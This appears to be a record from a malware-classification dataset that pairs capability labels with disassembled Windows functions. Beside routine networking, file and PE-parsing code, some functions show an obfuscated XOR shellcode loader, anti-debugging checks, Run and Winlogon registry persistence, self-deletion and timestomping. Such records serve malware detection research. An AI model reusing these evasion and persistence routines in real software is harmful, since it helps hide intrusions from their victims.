joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40670c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004040ec
xor eax, eax
push ebp
push 0x406853
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403d80
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x40681e
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.004040fc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x406814
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40680a
cmp dword [ebp - 4], 0
jne 0x4067f6
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00403eb0
mov edx, dword [ebp - 0x198]
mov eax, 0x40686c
call fcn.00404240
dec eax
je 0x406809
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.00403eb0
mov edx, dword [ebp - 0x19c]
mov eax, 0x406878
call fcn.00404240
dec eax
je 0x406809
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403eb0
jmp 0x406814
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403eb0
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x406787
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406828
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40685a
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00403da4
lea eax, [ebp - 4]
call fcn.00403d80
ret

Function at 0x406b5c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004040fc
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x406b75
test al, 0x10
jne 0x406b79
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x406b80
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406c59
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, dword [0x40ea14]
cmp dword [eax], 0xa
jl 0x406bed
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x101]
mov ecx, 0x101
call fcn.00403eec
mov edx, dword [ebp - 0x108]
mov eax, ebx
mov ecx, 0x406c70
call fcn.00403f50
jmp 0x406c15
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x101]
mov ecx, 0x101
call fcn.00403eec
mov edx, dword [ebp - 0x10c]
mov eax, ebx
mov ecx, 0x406c84
call fcn.00403f50
mov eax, dword [ebx]
call fcn.00406b5c
test al, al
jne 0x406c2f
push 0
mov eax, dword [ebx]
call fcn.004040fc
push eax
call sub.kernel32.dll_CreateDirectoryA
mov eax, ebx
mov edx, 0x406c9c
call fcn.00403f0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c60
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00403da4
ret
Function at 0x4556fa
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x455739
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x455739
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x455739
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x455739
cmp dword [ecx + 0x74], 0xe
jbe 0x455739
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x45b35c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x45b3f9
push ebx
push esi
call fcn.0045b325
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0045b2b9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x45b3a6
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x45b3f8
push edi
push eax
call fcn.0045bbef
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x45b3c6
call fcn.00459e01
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x45b3f7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0045b2b9
add esp, 0x20
test eax, eax
jne 0x45b3e5
push edi
call fcn.00459e01
jmp 0x45b3ed
push ebx
call fcn.00459e01
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x45c2f5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x474068
push 0x474060
push str.FlsAlloc
push 0x1f
call fcn.0045c211
mov esi, eax
add esp, 0x10
test esi, esi
je 0x45c329
push dword [ebp + 8]
mov ecx, esi
call dword [0x472164]
call esi
jmp 0x45c32f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x45c373
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x474078
push 0x474070
push str.FlsGetValue
push 0x21
call fcn.0045c211
mov esi, eax
add esp, 0x10
test esi, esi
je 0x45c3aa
push dword [ebp + 8]
mov ecx, esi
call dword [0x472164]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x45c3b2
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x474080
push 0x474078
push str.FlsSetValue
push 0x22
call fcn.0045c211
mov esi, eax
add esp, 0x10
test esi, esi
je 0x45c3ec
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x472164]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4612a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4612cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4612cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401000
Capabilities:
Check if file exists
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x40111b
xor edi, edi
push edi
push 0x404478
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x40111b
push 0x124
lea eax, [esp + 0x18]
push edi
push eax
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010d5
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push 0x404480
lea edx, [esp + 0x38]
push edx
call edi
test eax, eax
jne 0x401115
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x401083
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x4010d1
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4010d1
test byte [esp + 0xc], 2
jne 0x4010d1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x401124
push 0x404490
call fcn.00401aa0
test eax, eax
jne 0x401124
push 0x40449c
call fcn.00401aa0
test eax, eax
jne 0x401124
push 0x4044a8
call fcn.00401aa0
test eax, eax
jne 0x401124
push 0x4044b8
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401124
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x18]
jmp 0x4010a7
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - reloc.crtdll.dll_sprintf], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
xor edi, edi
mov dword [ebp - 8], edi
cmp eax, edi
je 0x4013ad
cmp dword [ebp + 8], edi
je 0x4013ad
cmp ebx, edi
je 0x4013ad
push esi
push edi
push 0x80
push 2
push edi
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4013a3
push 1
push edi
push edi
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
mov ecx, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push ebx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push ebx
push 0
push edi
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp + 8], 0
je 0x401379
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov edi, 1
test eax, eax
jne 0x40137c
mov edi, dword [ebp - 8]
mov dword [ebp + 8], 0
test esi, esi
je 0x4013a3
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4013a3
test byte [ebp + 8], 2
jne 0x4013a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x4013c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0xc], esi
cmp eax, esi
je 0x4014eb
push esi
push 0x80
push 3
push esi
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4014eb
lea eax, [ebp - 0x1c]
push eax
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x4014c4
lea eax, [ebx + 0x13]
and eax, 0xfffffff0
push eax
push 8
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x401445
mov ecx, dword [ebp - 8]
push ecx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], esi
test esi, esi
je 0x4014c4
push 1
push 0
push 0
push edi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [ebp - 0x10]
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp - 0x18], 0
jne 0x4014c1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4014ba
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 8], 0
mov esi, dword [ebp - 8]
mov dword [ebp - 8], 0
test edi, edi
je 0x4014eb
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4014eb
test byte [ebp - 8], 2
jne 0x4014eb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x40150f
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x401511
mov edx, dword [ebp - 0xc]
mov dword [edi], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401520
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401f70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4015f0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4015ef
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a5d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401a5d
test byte [ebp + 8], 2
jne 0x401a5d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a81
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401a81
test byte [ebp + 8], 2
jne 0x401a81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401aa0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401ae7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x401b5b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x401b07
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401b50
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401b50
test byte [esp + 0xc], 2
jne 0x401b50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x401b26
Function at 0x401de0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401e97
lea ecx, [ebp - 4]
push ecx
call fcn.004013c0
mov esi, eax
test esi, esi
je 0x401e97
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401e75
rdtsc
xor dword [0x45904c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45904c], eax
push 0x4045a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401e55
push 0x4045ac
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401e55
push 0x45904c
call eax
mov ecx, dword [0x45904c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004012e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401e97
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401ea0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401f0c
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f0c
test byte [ebp - 8], 2
jne 0x401f0c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401f65
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f65
test byte [ebp + 8], 2
jne 0x401f65
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4